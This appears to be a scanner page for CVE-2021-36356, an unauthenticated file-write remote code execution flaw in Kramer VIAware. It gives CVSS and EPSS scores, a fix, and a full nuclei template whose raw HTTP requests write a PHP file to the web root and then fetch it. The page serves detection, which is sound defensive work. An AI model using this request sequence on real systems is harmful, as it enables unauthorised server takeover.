Kramer VIAware - Remote Code Execution

criticalseverity

9.8CVSS score

54.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.

Impact

Unauthenticated attackers can upload arbitrary PHP files to the web root, achieving remote code execution and complete server compromise.

Fix

Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface.

How to confirm it

Send: POST /ajaxPages/writeBrowseFilePathAjax.php ; GET /{{randstr}}.php'
Positive when: contains in body_2 "44f63b292601ec4ab0d8c3244c9f5ebe"

Run it with nuclei: nuclei -id CVE-2021-36356 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-36356

info:
  name: Kramer VIAware - Remote Code Execution
  author: gy741
  severity: critical
  description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files to the web root, achieving remote code execution and complete server compromise.
  remediation: |
    Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface.
  reference:
    - https://www.exploit-db.com/exploits/50856
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36356
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35064
    - https://write-up.github.io/kramerav/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36356
    cwe-id: CWE-434
    epss-score: 0.54393
    epss-percentile: 0.99021
    cpe: cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kramerav
    product: viaware
  tags: cve2021,cve,viaware,kramer,edb,rce,intrusive,kramerav,vkev,vuln
variables:
  useragent: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        radioBtnVal=%3C%3Fphp+echo+md5%28%22CVE-2021-35064%22%29%3B+%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php

      - |
        GET /{{randstr}}.php' HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - "44f63b292601ec4ab0d8c3244c9f5ebe"

References

Use this check only on systems you are authorised to test. Where the data comes from